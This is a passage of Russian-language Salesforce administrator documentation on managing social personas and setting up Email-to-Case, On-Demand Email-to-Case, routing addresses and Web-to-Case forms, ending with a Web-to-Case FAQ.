1. Откройте вкладку «Социальные образы».

2. При необходимости выберите представление.

По умолчанию отображается список недавно просмотренных. Чтобы просмотреть
все социальныеобразыдляорганизации, выберитепункт «Все»израскрывающегося
списка «Просмотр». При необходимости создайте собственное представление.

3. Щелкните нужный двойной указатель на социальную сеть.

При необходимостищелкните ссылку «Правка» или «Удал.» для выбранного представления.

Внимание: Удалениесоциальногообразапосредствомфункции Contacts 2.0 инициируетудалениевсехсвязанных
сообщений социальной сети.
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Ниже перечислены действия, доступные на странице сведений о социальном образе.

• Просмотр и редактирование доступных сведений о контакте для данной социальной сети.

Прим.: Доступные сведения определяются социальной сетью, являющейся источником образа.

• Удаление социального образа из организации.

• Создание, редактирование и удаление сообщений социальной сети.

• Социальнуюсеть, котораясоздалаобраз, можнопосмотретьвполе Исходное приложение. Полезадаетсяприсоздании,
после чего изменить его нельзя. Социальные образы, созданные до выпуска Summer 15, не имеют такого поля.

Внимание: Системанепозволяетопределятьпользователей, которыемогут создавать, просматривать, редактировать
или удалять социальные образы, ввиду отсутствия параметров безопасности поля для данного объекта. Все данные
об объекте «Социальный образ» могут просматриваться любым пользователем организации.

2628

Управление социальными образамиПоддержка клиентов



Настройка и обслуживание инструментов службы
поддержки

Добро пожаловать, администраторы службы поддержки!

Данная документация предназначена для администраторов, желающих настроитьфункции поддержки и обслуживания
клиентов Salesforce (также известные как Service Cloud). Благодаря усовершенствованной структуре документации,
пользователимогутбыстронаходитьинформациюонастройкефункций, необходимыхдлярешениявопросовподдержки.
Например, сведенияонастройкевеб-сайтов самообслуживанияпредставленывразделе «Созданиевеб-каналовиканалов
социальной сети» вместо раздела, содержащего имя функции «Клиентский портал» или «Chatter Answers». Тем не менее,
данная документация поддерживает поиск по ключевым словам, позволяющий находить имяфункции или решение по
поддержке. Обратите внимание, что данная документация содержит небольшое количество понятий и общих сведений
о функциях. Данные сведения доступны в документации «Поддержка клиентов».

Комплектдокументаций «Настройкаиобслуживаниеинструментов службыподдержки»и «Поддержкаклиентов» содержитсведения,
необходимые для настройки и работы службы поддержки в системе Salesforce.

Настройка клиентских каналов

Создание каналов эл. почты

Email-to-Case

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Функции Email-to-Case и
On-Demand Email-to-Case
доступны в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Автоматическое преобразование сообщений электронной почты от клиентов в
обращениясистемы Salesforce дляоперативногоотслеживанияиразрешенияобращений
клиентов.

Можно настроить функцию Email-to-Case или On-Demand Email-to-Case: каждая из них
поддерживает разные бизнес-сценарии.

On-Demand
Email-to-Case

Email-to-CaseDetails

Хранение трафика
электронной почты вне
сегмента сети,
защищенного
брандмауэром, а также
блокировка сообщений,
размеркоторыхпревышает
25 MB

Хранение трафика
электронной почты внутри
сегмента сети,
защищенного
брандмауэром, а также
прием сообщений, размер
которых превышает 25 MB

Бизнес-сценарий:

Требуется настроить
службы эл. почты Salesforce

Требуется загрузить и
установить на локальном

Подготовка:

Apexдляпреобразованияэл.
сообщений в обращения

компьютере агент
Email-to-Case, которыйбудет
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On-Demand Email-to-CaseEmail-to-CaseDetails

преобразовывать сообщения
электронной почты в обращения

Количество пользовательских
лицензий, умноженное на 1000 (но не
более 1 000 000 ежедневно)

2,500Макс. число эл. сообщений,
преобразуемых в обращения каждый
день:

Менее 25 МББолее 25 МБМакс. размер сообщения электронной
почты, включая заголовок, тело и
вложения:

СМ. ТАКЖЕ:

Настройка функции Email-to-Case

Настройка функции On-Demand Email-to-Case

Настройка функции Email-to-Case

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Функция Email-to-Case
доступна в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки функции
Email-to-Case:
• «Настройка

приложения»

Для включения функции
Email-to-Case:
• «Изменение всех

данных»

И

«Настройка
приложения»

ФункцияEmail-to-Caseпозволяетповыситьэффективностьобработкизапросовклиентов,
полученных по эл. почте. Система Salesforce автоматически создает обращения и
заполняет поля обращений при отправке сообщений клиентов на указанные адреса эл.
почты.

1. Чтобы использовать функцию Email-to-Case, загрузите агент маршрутизации
Email-to-Case. Агентпозволяетобрабатывать все сообщения эл. почтыв сегменте сети,
защищенномбрандмауэром, атакжеприниматьсообщенияклиентов, размеркоторых
превышает 25 Мб.

2. Установите агент в сегменте сети, защищенном брандмауэром.

3. Включите функцию Email-to-Case и настройте параметрыфункции Email-to-Case.

4. Чтобы определить способ обработки входящих сообщений эл. почты системой
Salesforce, настройте параметры адресов маршрутизации.

5. Чтобы протестировать работу адресов маршрутизации эл. почты, отправьте
сообщения эл. почты на данные адреса. Убедитесь, что отправленные сообщения
эл. почтыпреобразуютсявобращениянаосновепараметровадресовмаршрутизации.

6. Добавьте настроенный адрес эл. почты на корпоративный веб-сайт службы
поддержки. Данный адрес эл. почты может использоваться клиентами для отправки
обращений в службу поддержки.

7. Добавьте связанный список «Сообщения эл. почты» в макет страницы обращений.
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8. Принеобходимости создайтешаблоны, которыемогут использоваться агентамидля отправкиответовна сообщения
эл. почты. Данные шаблоны могут содержать поля слияния, которые добавляют сведения из исходного сообщения
эл. почты в ответ.

СМ. ТАКЖЕ:

Email-to-Case

Создание текстовых шаблонов эл. почты

Создание HTML-шаблонов эл. почты

Создание шаблонов эл. почты Visualforce

Включение и настройка функции Email-to-Case

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки функции
Email-to-Case:
• «Настройка

приложения»

Для включения функции
Email-to-Case:
• «Изменение всех

данных»

И

«Настройка
приложения»

Система позволяет автоматически преобразовывать входящие сообщения эл. почты в
обращения путем включения функции Email-to-Case и настройки соответствующих
параметров.

Прим.: Прежде чем включить и настроить функцию Email-to-Case, рекомендуем
загрузить и установить агент Email-to-Case на рабочий компьютер.

1. Вменю «Настройка» введите Email-to-Case вполе Quick Find, затемвыберите
Email-to-Case.

2. Нажмите кнопку «Правка».

3. Установите флажок «Включить функцию Email-to-Case».

4. Настройте параметрыфункции Email-to-Case.

5. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Email-to-Case

Параметрыфункции Email-to-Case

Настройка адресов маршрутизации для функций Email-to-Case и On-Demand
Email-to-Case
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Параметры функции Email-to-Case

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Параметрыфункции Email-to-Caseпозволяютопределятьпорядокобработкиисоздания
обращений из входящих сообщений эл. почты, используемый системой Salesforce.

Для доступа к этим параметрам в меню «Настройка» введите Email-to-Case в поле
Quick Find, затем выберите Email-to-Case.

ОписаниеПараметр функции Email-to-Case

Данный параметр позволяет системе
Salesforce создавать обращения из
входящих сообщений эл. почты.

Включить функцию Email-to-Case

Данный параметр разрешает
ответственным за обращения
автоматически принимать уведомления о

Уведомить ответственных за обращение
о новых сообщениях эл. почты

новых сообщениях эл. почтыдля текущих
обращений. Электронные уведомления
назначают ответственному за обращение
задачупообработкеновогосообщенияэл.
почты. Ответ, отправленныйнасообщение
эл. почты, закрывает назначенную задачу.
Чтобы отключить электронные
уведомления, снимите данныйфлажок.

Данный параметр предупреждает
пользователей о наличии

Включить HTML-сообщения эл. почты

HTML-содержимого во входящих
сообщениях эл. почты. Таким образом,
пользователи смогут избегать просмотра
потенциально опасных HTML-сообщений
эл. почты, угрожающих безопасности
рабочих компьютеров. Если данный
параметр выключен, то агентам службы
поддержки отображается текст вместо
HTML-кода на страницах сведений о
сообщениях эл. почты. При создании
ответа текстовая версия сообщения
копируется в редактор сообщений эл.
почты вместо HTML-версии.

Данный параметр добавляет код потока в
тему сообщения эл. почты. Код потока —

Вставить код потока в тему сообщения
эл. почты

это уникальный номер, который
определяет организацию и обращение,
связанное с исходящим сообщением эл.
почты. Данный код гарантирует
связывание ответов на исходное
сообщение эл. почты с правильным
обращением.
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ОписаниеПараметр функции Email-to-Case

Данныйпараметр добавляет кодпотока в текст сообщения
эл. почты.

Вставить код потока в текст сообщения эл. почты

Данный параметр добавляет подпись пользователя после
ответа, но перед потоком сообщений эл. почты. Если

Разместить подписи пользователей перед потоками эл.
почты

данный параметр выключен, то подпись пользователя
добавляется после потока сообщений эл. почты.

Использование уникальных кодов темы и текста сообщений эл. почты

Убедитесь в уникальности темы и текста исходящих сообщений эл. почты.

Внимание: Еслизначенияпараметров «Код темы сообщения эл. почты» и «Код основного текста сообщения
эл. почты» совпадают, то функция Email-to-Case создает бесконечный цикл сообщений эл. почты, связанных с
каждым обращением. При выключении данных параметров функция Email-to-Case может со временем прекратить
прием новых сообщений эл. почты.

Чтобы исключить код потока из сообщения эл. почты, снимите оба флажка «Вставить код потока в тему сообщения
эл. почты» и «Вставить код потока в текст сообщения эл. почты». Новое обращение создается при ответе агента
службы поддержки на исходящее сообщение эл. почты.

СМ. ТАКЖЕ:

Email-to-Case
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Настройка функции On-Demand Email-to-Case

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Функция On-Demand
Email-to-Case доступна в
версиях: Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки функции
On-Demand Email-to-Case:
• «Настройка

приложения»

Для включения функции
On-Demand Email-to-Case:
• «Изменение всех

данных»

И

«Настройка
приложения»

Функция On-Demand Email-to-Case позволяет повысить эффективность обработки
запросов клиентов, полученных по эл. почте. Система Salesforce автоматически создает
обращенияизаполняетполяобращенийприотправкесообщенийклиентовнауказанные
адреса эл. почты. ФункцияOn-Demand Email-to-Case позволяет обрабатывать сообщения
эл. почты клиентов размером не более 25 Мб.

1. Настройте параметры «Ответственный за обращение по умолчанию» и
«Автоматический ответственный за обращение».

2. Включите и настройте функцию Email-to-Case.

3. Включите и настройте функцию On-Demand Email-to-Case.

4. Чтобы определить способ обработки входящих сообщений эл. почты системой
Salesforce, настройте параметры адресов маршрутизации.

5. Чтобы протестировать работу адресов маршрутизации эл. почты, отправьте
сообщения эл. почты на данные адреса. Убедитесь, что отправленные сообщения
эл. почтыпреобразуютсявобращениянаосновепараметровадресовмаршрутизации.

6. Добавьте настроенный адрес эл. почты на корпоративный веб-сайт службы
поддержки. Данный адрес эл. почты может использоваться клиентами для отправки
обращений в службу поддержки.

7. Добавьте связанный список «Сообщения эл. почты» в макет страницы обращений.

8. Принеобходимостисоздайтешаблоны, которыемогутиспользоваться агентамидля
отправки ответов на сообщения эл. почты. Данные шаблоны могут содержать поля
слияния, которые добавляют сведения из исходного сообщения эл. почты в ответ.

Прим.: ФункцияOn-Demand Email-to-Case автоматически усекает текст сообщения
эл. почты до 32 000 символов. Чтобы увеличить данное ограничение до 128 000
символов, обратитесь в компанию Salesforce.

СМ. ТАКЖЕ:

Email-to-Case

Создание текстовых шаблонов эл. почты

Создание HTML-шаблонов эл. почты

Создание шаблонов эл. почты Visualforce
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Включение и настройка функции On-Demand Email-to-Case

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Функция On-Demand
Email-to-Case доступна в
версиях: Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки функции
On-Demand Email-to-Case:
• «Настройка

приложения»

Для включения функции
On-Demand Email-to-Case:
• «Изменение всех

данных»

И

«Настройка
приложения»

ФункцияOn-Demand Email-to-Caseпозволяет автоматическипреобразовывать входящие
сообщенияэл. почтывобращениябез загрузкииустановкиспециальногопрограммного
обеспечения.

Прим.: Прежде чем включить функцию On-Demand Email-to-Case, настройте
параметры «Ответственный за обращение по умолчанию» и «Автоматический
пользователь для обращений», а также включите и настройте функцию
Email-to-Case.

1. Вменю «Настройка» введите Email-to-Case вполе Quick Find, затемвыберите
Email-to-Case.

2. Нажмите кнопку «Правка».

3. Установите флажок «Включить настраиваемую службу».

4. Настройтепараметры «Действие "Превышение ограничения по частоте отправки
эл. почты"» и «Действие "Неавторизированный отправитель"», исходяизцелей
использования функции On-Demand Email-to-Case.

5. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Email-to-Case

Настройка функции On-Demand Email-to-Case

Параметры адресов маршрутизации для функций Email-to-Case и On-Demand
Email-to-Case

Параметры функции On-Demand Email-to-Case

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Функция On-Demand
Email-to-Case доступна в
версиях: Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Параметрыфункции On-Demand Email-to-Case позволяют выбирать способ обработки
системой Salesforce входящих сообщений эл. почты, которые превышают ежедневные
ограничениянаобработку, заданныедляорганизации, илипоступаютотнедопустимых
отправителей.

Данные параметры относятся только к функции On-Demand Email-to-Case.
ДополнительнуюинформациюобобщихпараметрахфункцииEmail-to-Caseсм. вразделе
«Параметрыфункции Email-to-Case».

ОписаниеПараметр функции On-Demand
Email-to-Case

Выберите действие, которое должно
выполняться функцией On-Demand
Email-to-Case над сообщением эл. почты,

Действие «Превышение ограничения по
частоте отправки эл. почты»

которое превышает ежедневное
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ОписаниеПараметр функции On-Demand Email-to-Case

ограничениенаобработку сообщенийэл. почты, заданное
для организации.

• Сообщение о возврате: служба эл. почты возвращает
сообщениеотправителюилипользователю, указанному
в параметре «Автоматический пользователь для
обращений» для функции On-Demand Email-to-Case, с
пояснением причины отклонения сообщения.

• Сообщение об отклонении: служба эл. почты удаляет
сообщение без уведомления отправителя.

• Сообщениеоповторномдобавлениивочередь: служба
эл. почтыдобавляет сообщениевочередьнаобработку
в последующие 24 часа. Если сообщение не
обрабатывается в течение 24 часов, то служба эл. почты
возвращает сообщение отправителю с пояснением
причины отклонения сообщения.

Если поле «Принимать сообщения эл. почты от»
содержит адреса эл. почты и домены, доступные для

Действие «Неавторизованный отправитель»

функции On-Demand Email-to-Case, выберите действие,
которое должно выполняться над сообщениями,
полученными от заблокированных пользователей.

• Сообщение о возврате: служба эл. почты возвращает
сообщениеотправителюилипользователю, указанному
в параметре «Автоматический пользователь для
обращений» для функции On-Demand Email-to-Case, с
пояснением причины отклонения сообщения.

• Сообщение об отклонении: служба эл. почты удаляет
сообщение без уведомления отправителя.

Убедитесь в уникальности темы и текста исходящих сообщений эл. почты.

Внимание: Еслизначенияпараметров «Код темы сообщения эл. почты» и «Код основного текста сообщения
эл. почты» совпадают, то функция Email-to-Case создает бесконечный цикл сообщений эл. почты, связанных с
каждым обращением. При выключении данных параметров функция Email-to-Case может со временем прекратить
прием новых сообщений эл. почты.

СМ. ТАКЖЕ:

Email-to-Case
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Настройка адресов маршрутизации для функций Email-to-Case и On-Demand
Email-to-Case

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки адресов
маршрутизации,
используемых функциями
Email-to-Case и
On-Demand Email-to-Case:
• «Настройка

приложения»

Прежде чем настроить адреса маршрутизации для функций Email-to-Case и On-Demand
Email-to-Case, рекомендуем включить функцию Email-to-Case и настроить параметры
функции Email-to-Case.

1. В меню «Настройка» введите Email-to-Case в поле Quick Find, а затем
выберите Email-to-Case.

2. Нажмите кнопку «Создать» в списке «Адреса маршрутизации».

3. Введите параметры адреса маршрутизации.

4. Нажмите кнопку «Сохранить».
Проверочное сообщение эл. почты будет отправлено на указанный адрес
маршрутизации.

5. Щелкните ссылку в проверочном сообщении эл. почты.
Страница подтверждения откроется в окне веб-обозревателя.

6. Чтобы продолжить работу с системой Salesforce, щелкните ссылку на странице
подтверждения.

Чтобы перенаправлять полученные обращения на адрес служб эл. почты,
предоставленный компанией Salesforce, рекомендуем настроить почтовую систему.

СМ. ТАКЖЕ:

Email-to-Case

Параметры адресов маршрутизации для функций Email-to-Case и On-Demand
Email-to-Case

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Функции Email-to-Case и
On-Demand Email-to-Case
доступны в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Прежде чем определить параметры адресов маршрутизации эл. почты, рекомендуем
добавить и проверить адреса маршрутизации для функций Email-to-Case и On-Demand
Email-to-Case.

ОписаниеПараметр

Имя адреса маршрутизации (например,
«Расширенная поддержка» или
«Стандартная поддержка»).

Имя маршрутизации

Только источник Email-to-Case. Адрес
входящих сообщений эл. почты для
данногоадресамаршрутизацииOn-Demand
Email-to-Case. Сообщение эл. почты,
отправленное на данный адрес, создает
обращения на основе заданных

Адрес эл. почты

параметров. Адрес эл. почты должен быть
уникальным.
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ОписаниеПараметр

Обратите внимание, что данный адрес эл. почты
используетсявкачествессылкинакорпоративномвеб-сайте
службы поддержки.

Только источник Email-to-Case. Чтобы сохранить сведения о
маршрутизации эл. почты, связанные с каждым

Сохранить заголовки сообщений эл. почты

сообщением, отправленным в качестве обращения,
установите данныйфлажок. Сохраненные сведения о
маршрутизации эл. почты учитываются в общем объеме
хранилища организации.

Дополнительную информацию о просмотре заголовков
сообщений эл. почты, преобразованных в обращения, см.
в разделе «Работа с сообщениямиэл. почты, содержащими
обращения» на странице 2417.

Чтобы ограничить адреса эл. почты и домены,
поддерживаемые функцией On-Demand Email-to-Case,

Принимать сообщения эл. почты от

заполните данное поле. Чтобы разрешить функции
On-Demand Email-to-Case принимать любые сообщения эл.
почты, пропустите данное поле.

Только источник Email-to-Case. Чтобы автоматически
назначить задачу ответственному за обращение при

Создать задачу из сообщения эл. почты

отправке сообщения эл. почты в качестве обращения,
установите данныйфлажок.

Правила назначения автоматически назначают
ответственных за обращения. Обращение, которое не
соответствует критериямправиланазначения, назначается
пользователю, указанному в поле «Ответственный за
обращение по умолчанию» на странице «Параметры
поддержки».

Только источник Email-to-Case. Выберите статус, который
долженпредопределятьполе «Статус» задач, назначаемых

Статус задачи

ответственнымза обращения автоматическиприотправке
сообщений эл. почты в качестве обращений.

Данный параметр доступен только в том случае, если
установлен флажок «Создать задачу из сообщения эл.
почты».

Только источник Outlook. Отдельный пользователь или
очередь, которойназначенаответственностьзаобращение.

Ответственный за обращение

Приоритет, назначаемыйобращениям, которыесоздаются
на основе сообщений эл. почты, отправленных на данный
адрес маршрутизации.

Приоритет обращения
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ОписаниеПараметр

Значение, назначенное полю «Происхождение
обращения» сообщения эл. почты, отправленного на
данный адрес маршрутизации.

Происхождение обращения

Прим.: Поляобращения «Приоритет» и «Происхождение обращения» заполняются автоматическипосредством
параметров адреса маршрутизации, если поле входящего сообщения эл. почты «Кому», «Копия» или «СК»
содержит адрес маршрутизации.

СМ. ТАКЖЕ:

Email-to-Case

Функция Email-to-Case. Вопросы и ответы

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

• Как предотвратить преобразование спама в обращения?

• Существует ли ограничение по размеру вложений при использованиифункции
Email-to-Case?

Существует ли ограничение по размеру вложений при использовании
функции Email-to-Case?

При использовании On-Demand размер вложений может быть до 25 Мб. При
использовании агента Email-to-Case ограничения не применяются.

СМ. ТАКЖЕ:

Функция Email-to-Case. Вопросы и ответы

Как предотвратить преобразование спама в обращения?
Ниже перечислены способы ограничения спама.

• Чтобы отклонять сообщения эл. почты, отправленные с определенных IP-адресов, создайте правило, содержащее
список нежелательных адресов.

• Загрузите приложения для фильтрации спама из каталога AppExchange.

СМ. ТАКЖЕ:

Функция Email-to-Case. Вопросы и ответы
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Создание веб-каналов и каналов социальной сети

Веб-обращения

Подготовка к сбору обращений посредством функции Web-to-Case

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки функции
Web-to-Case:
• «Настройка

приложения»

ФункцияWeb-to-Case позволяет собирать запросы клиентов на поддержку прямо с
корпоративного веб-сайта и автоматически создавать не более 5 000 новых обращений
вдень. Даннаяфункцияпозволяетне толькоускоритьобработку запросов, ноиповысить
эффективность службы поддержки.

Прежде чем настроить функциюWeb-to-Case, выполните указанные ниже действия.

• При необходимости создайте настраиваемые поля обращений.

• Создайте стандартныйшаблон эл. почты для автоматического уведомления,
отправляемого клиентам при отправке обращения.

• Создайте очереди обращений, позволяющие назначать входящие обращения
очередям или отдельным пользователям.

• Чтобывыбратьстандартногоответственногозаобращения, которыенесоответствуют
заданным критериям правила назначения, настройте параметры поддержки на
странице 2927.

• Чтобыопределитьпорядокназначениявеб-обращенийпользователямилиочередям,
создайте активное правило назначения обращений. В противном случае, все
веб-обращенияназначаютсястандартномуответственному, выбранномунастранице
«Параметры поддержки».

Теперь можете настроить функциюWeb-to-Case на странице 2641.

СМ. ТАКЖЕ:

Создание настраиваемых полей

Управление шаблонами эл. почты

Создание очередей

Настройка правил назначения

Функция Web-to-Case. Вопросы и ответы
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Настройка функции Web-to-Case

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки функции
Web-to-Case:
• «Настройка

приложения»

ФункцияWeb-to-Case позволяет собирать запросы клиентов на поддержку прямо с
корпоративного веб-сайта и автоматически создавать не более 5 000 новых обращений
в день. Под настройкой функцииWeb-to-Case понимается включение функции, выбор
параметров и добавление формыWeb-to-Case на корпоративный веб-сайт.

Прим.: ПреждечемначатьнастройкуфункцииWeb-to-Case, просмотритеразделы
«ПодготовкаксборуобращенийпосредствомфункцииWeb-to-Case»и «Примечания
и ограничения для функцииWeb-to-Case».

1. Введите строку «Web-to-Case» в поле «Быстрый поиск» в меню «Настройка»,
затем выберите пункт «Web-to-Case».

2. Установите флажок «Включитьфункцию Web-to-Case».

3. Выберите стандартное происхождение обращения.

4. Выберите стандартныйшаблон ответа для автоматического уведомления клиентов
о создании обращения.

Если используемыйшаблон эл. почты определяется полученными сведениями, то
стандартныйшаблон эл. почты используется в том случае, если правила ответа не
применяются. Чтобы отменить отправку сообщений эл. почты, если правила ответа
не применяются, пропустите данное поле. Данныйшаблон должен быть помечен
флажком «Доступно для использования».

5. Чтобы скрыть сведения о записи в сообщении эл. почты, которое отправляется
клиентам при неудачном создании обращения, установите флажок «Скрыть сведения о записи».

6. При необходимости введите электронную подпись.

7. Нажмите кнопку «Сохранить».

Дополнительную информацию о создании HTML-кода, который может использоваться веб-мастером для обработки
запросов Web-to-Case на поддержку, см. в разделе «Создание HTML-кода Web-to-Case».

СМ. ТАКЖЕ:

Настройка службы поддержки

Функция Web-to-Case. Вопросы и ответы
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Создание HTML-кода Web-to-Case

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки функции
Web-to-Case:
• «Настройка

приложения»

Создайте HTML-код, который может быть вставлен веб-мастером на корпоративный
веб-сайтдлясбораобращенийпосредствомвеб-формы. Отправкасведенийпосредством
любой из данных веб-страниц инициирует создание обращения.

Включитефункцию Web-to-Case. Дополнительнуюинформациюонастройкефункции
Web-to-Case см. в разделе «Настройка функции Web-to-Case» на странице 2641.

1. Введитестроку «Генератор Web-to-Case HTML» вполе «Быстрый поиск» вменю
«Настройка», затем выберите «Генератор Web-to-Case HTML».

2. Чтобыдобавитьили удалитьполя в списках «Доступныеполя» и «Выбранныеполя»,
воспользуйтесь кнопками «Добавить» и «Удалить». Чтобы изменить порядок
отображения полей, воспользуйтесь кнопками «Вверх» и «Вниз».

Если организация использует мультивалюту, добавьте поле «Валюта обращения»
в HTML при добавлении любых других полей валюты. В противном случае все
стоимости будут отображаться в валюте компании. Если организация использует
типызаписейобращений, выберитеполе «Тип записи обращения», позволяющее
пользователям выбирать тип записи для веб-обращений.

3. Если организация использует портал самообслуживания или клиентский портал,
которые должны отображать веб-обращения, установите флажок «Отображается
на портале самообслуживания».

4. Введите полный URL-адрес страницы, открывающейся после отправки сведений.
Например, URL-адрес начальной страницы компании или страницы благодарности.

5. Еслиорганизацияиспользуетсредствопереводаилипереименованныевкладки, выберитеязыкдляметок, отображаемых
в форме Web-to-Case. Источник формы Web-to-Case всегда отображается на личном языке.

6. Нажмите кнопку «Создать».

7. Скопируйте и передайте созданный HTML-код веб-мастеру компании для последующего добавления на веб-сайт.

8. Нажмите кнопку «Готово».

Совет: Чтобыразрешитьклиентамодновременносоздаватьобращенияпонесколькимпродуктам, воспользуйтесь
настраиваемым раскрывающимся списком со множественным выбором.

Чтобыпротестироватьформу Web-to-Case, добавьтестроку <input type="hidden" name="debug" value="1">
в код. Данная строка открывает страницу отладки после отправки формы. Данная строка должна быть удалена до
публикацииформы Web-to-Case на корпоративный веб-сайт.
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Примечания и ограничения для функции Web-to-Case

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Данный раздел содержит дополнительную информацию об эффективной настройке
функцииWeb-to-Case для компании.

Нижеперечисленырекомендациипо выбору способанастройкифункцииWeb-to-Case.

• При наличии такой возможности веб-обращения автоматически связываются с
соответствующимиконтактамииорганизацияминаоснове адреса эл. почтыклиента.

• Система Salesforce запускает правила проверки полей перед созданием записей,
отправленныхпосредствомфункцииWeb-to-Case, исоздаеттолькоте записи, которые
содержат допустимые значения. Прежде чем создать запись посредством функции
Web-to-Case, убедитесь, чтовсе универсальныеобязательныеполя содержат значения.

• Формат для полей даты и валюты, собранных через Интернет, определяется
стандартными параметрами организации «Стандартный регион» и «Регион
валюты».

• Система Salesforce не поддерживает поля типа «Область обогащенного текста» в формахWeb-to-Case. При создании
обращения данные, введенные в поля типа «Область обогащенного текста», сохраняются в виде обычного текста.

• Если организация превышает ежедневное ограничение для функцииWeb-to-Case, то стандартный ответственный за
обращение, указанный на странице «Параметры поддержки», получает сообщение эл. почты, содержащее сведения
о дополнительных обращениях.

СМ. ТАКЖЕ:

Подготовка к сбору обращений посредством функции Web-to-Case

Настройка функции Web-to-Case

Функция Web-to-Case. Вопросы и ответы

Функция Web-to-Case. Вопросы и ответы

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

• Какое максимальное количество веб-обращений можно собрать?

• Кто несет ответственность за новые веб-обращения?

• Как указать сведения для сбора?

• Можно ли собирать обращения с нескольких веб-страниц?

• Как веб-мастер может протестировать страницу Web-to-Case?

• Какие статус и происхождение присваиваются веб-обращениям?

• Как гарантировать сохранность обращений?

• Как избежать спама при использованиифункции Web-to-Case?

Какое максимальное количество веб-обращений можно собрать?

Версии Professional Edition, Enterprise Edition, Unlimited Edition, Performance Edition и Developer Edition позволяют ежедневно
собирать не более 5 000 обращений. Если данное количество обращений является недостаточным, щелкните ссылку
«Справкаиобучение» в верхнейчастилюбойстраницыиоткройте вкладку «Моиобращения», чтобыотправить запрос
на увеличение текущего ограничения в службу поддержки Salesforce.

При достижении ежедневного ограничения система Salesforce добавляет новые запросы в очередь, которая содержит
запросы Web-to-Case и Web-to-Lead. Запросы отправляются после обновления текущего ограничения. Очередь может
содержать не более 50 000 комбинированных запросов. При достижении ограничения по количеству отложенных
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запросов дополнительные запросы отклоняются и не добавляются в очередь. Электронные уведомления о первых пяти
отклоненныхзапросахотправляются администратору. Чтобыизменить текущееограничениепоколичествуотложенных
запросов, обратитесь в службу поддержки Salesforce.

СМ. ТАКЖЕ:

Функция Web-to-Case. Вопросы и ответы

Кто несет ответственность за новые веб-обращения?

Администратор может создать активное правило назначения обращений, которое будет выполнять автоматическое
назначение веб-обращенийпользователямилиочередям в соответствии с заданнымикритериями. Обращения, которые
не соответствуют критериям правила назначения, назначаются пользователю, указанному в поле «Ответственный за
обращение по умолчанию» на странице «Параметры поддержки».

СМ. ТАКЖЕ:

Функция Web-to-Case. Вопросы и ответы

Как указать сведения для сбора?

При создании HTML для корпоративного веб-сайта пользователь может выбрать стандартные или настраиваемые поля
обращений, которые должны использоваться для сбора информации. Настраиваемые поля обращений должны быть
добавлены до создания HTML-кода. В меню «Настройка» введите «Web-to-Case» в поле «Быстрый поиск», затем
выберите «Web-to-Case», чтобы настроить функцию и создать необходимый HTML.

СМ. ТАКЖЕ:

Функция Web-to-Case. Вопросы и ответы

Можно ли собирать обращения с нескольких веб-страниц?

Да. Вставьте созданный HTML-код на веб-страницы, которые должны использоваться для сбора обращений. Отправка
сведений посредством любой из этих веб-страниц инициирует создание обращения.

СМ. ТАКЖЕ:

Функция Web-to-Case. Вопросы и ответы

Как веб-мастер может протестировать страницу Web-to-Case?

Чтобы просмотреть страницу отладки при отправке формы, добавьте указанную ниже строку в код Web-to-Case. Данная
строка должна быть удалена до публикацииформы Web-to-Case на корпоративный веб-сайт.

<input type="hidden" name="debug" value="1">

СМ. ТАКЖЕ:

Функция Web-to-Case. Вопросы и ответы
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Какие статус и происхождение присваиваются веб-обращениям?
